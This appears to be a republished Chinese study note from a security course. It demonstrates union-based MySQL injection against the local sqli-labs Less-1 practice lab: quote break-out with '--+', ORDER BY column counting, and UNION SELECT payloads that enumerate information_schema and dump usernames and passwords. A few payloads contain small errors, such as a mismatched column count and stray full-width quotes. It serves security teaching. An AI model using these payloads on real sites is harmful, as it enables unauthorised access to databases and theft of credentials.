(2020上半年第7天)小迪网络安全笔记(操作①)mysql基本注入流程演示
Posted .白菜白菜大白菜.
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了(2020上半年第7天)小迪网络安全笔记(操作①)mysql基本注入流程演示相关的知识,希望对你有一定的参考价值。
基本注入流程演示
材料:phpstudypro+PHPmysql+sqlilabs
sqlilabs的less-1第一关
注意:网站php和网站涉及的数据库的各种关联要看清
补充:基本注入尝试
类型①:
url:http://127.0.0.1/?id=1and1=1
在sql中显示为:select * from users where id='1and1=1'limit 0,1
(在sql中单引号中是字符串)
效果:
解释:单引号使id后面成了字符串and没作用了and失去了它的意义,sql中单引号括起来的是字符串(php和sql语法上的差别)
就无法注入了
解决办法:
url:http://127.0.0.1/sqlilabs/Less-1/?id=1’and1=1--+
(1后面写个单引号,最后面用–+注释)
在mysql中就显示为:select * from users where id='1'and1=1 --+'limit 0,1
(注意变化)
解释:–+意思是–+后面的全注释掉了–+是mysql的注释符,但在url中没用
效果:
补充:
在真实的测试中,我不知道网站的源码那我怎么知道呢
在url后面胡乱打试一试(针对这个题):
url:http://127.0.0.1/sqlilabs/Less-1/?id=1sadsadasdwdsdadadadwawd
结果成功操作(能用)(不知道为什么能用,就直接放到mysql试试看看什么效果)(url直接给了mysql,数据库解释到了)
注意:dumb这个是从数据库调出来的
但是这样却失败了
url:http://127.0.0.1/sqlilabs/Less-1/?id=1'sadsadasdwdsdadadadwawd
(结果错误)
分析该网站php文件和数据库
什么是注入点?
答:如果sql解析成功就证明这个可以用是能用的,这就是注入点,一旦能用就会有破坏就会有影响(就是我无论写什么只要能对你的sql产生了影响,这个就是注入点就是注点)
结果无论对错
-------------------分割线-----------------------------------正片开始-------------
注入技巧:
注意:由于phpstudy2018+phpmyadmin+sqlilabs单间总是出现问题,so…以后我们使用phpstudypro+phpmyadmin+sqliabs(网上配置啥的文章很多这里一些简单的操作就不再赘述了)
我们采用的是sqlilabs/less-1
联合查询(orderby和unionselect)
数据库和php文件都没变,注意实时参考文件头的三张截图(最好自己操作)
多种情况:
①orderby操作
orderby3这个直接放到url后面,(注意:3这个意思是有3列,也就是数据库中有三列),这个靠蒙(3没问题4有问题就知道了有三列了)
orderby3
orderby4
(注意:orderby后面必须有数字)
url:/?id=2’orderby3这个2时输入值,看上节课操作,3是该网站对应数据库mysql有三列
②unionselect操作
?id=2' union select 1,2,3--+
(un后面的1,2,3是指上面orderby查出的三列,如果上面4就写1,2,3,4,)
解释:–+的意思是把后面的’屏蔽,避免与id后的单引号出现把中间变字符
1,2,3是因为orderby后是3
正确了那又能怎么样呢?又不显示什么有用的信息,那下面我们就用报错显示
获取数据库的名字(报错显示)
③?id=-2' union select 1,2,3--+
(在2前面加负号)
-2让他报错,显示出有数据的列
④显示出数据库的名字
?id=2' union select 1,2,database(),3--+
⑤获取数据库表名
我们将利用information_schema来查询数据库表名
information_schema:自带数据库mysql5.0以上版本自带存储有mysql数据库下所有数据库里面的数据信息,包括表名列明等所以我们可以根据查询他获取指定数据库下的表名和列名
table_name:表名
column_name:列明
information_schema.tables:存储表明信息的表
information_schema.columns:存储列明信息的表
table_schema:数据库名
mysql中符号“.”代表下一级
例如:information_schema.tables:数据库infor…下的tables表
操作:获取数据库security下面的表名信息
操作:输入url
127.0.0.1/sqlilabs/Less-1/?id=-2' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
注意:group_concat(table_name)把这个里面所有信息显示出来(如果没有这个的话就只会显示一个表明)
作用:(可能会获取到一些管理员的信息)
⑥获取列名:
获取数据库security下表名users下的列名信息(注意级别也要改上面查的是表名这个是列名)
http://127.0.0.1/sqlilabs/Less-1/?id=-2'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users’ and table_schema=’security’--+
解析: and table_schema=’’可以使所求列名更精准,例如:如果一个表有id和name但是用没有and table_schema=’’查出来的可能是id,name,http,ID等so…一定要加
⑥获取数据:
Url:http://127.0.0.1/sqlilabs/Less-1/?id=-2’ union select 1,password,username from users limit 0,1--+
注意limit后面是坐标0是1,
以上是关于(2020上半年第7天)小迪网络安全笔记(操作①)mysql基本注入流程演示的主要内容,如果未能解决你的问题,请参考以下文章
(2020上半年第7天(SQL注入-MYSQL注入(SQL注入2/10)))小迪网络安全笔记
(2020上半年第7天)小迪网络安全笔记(操作④)Root用户注入攻击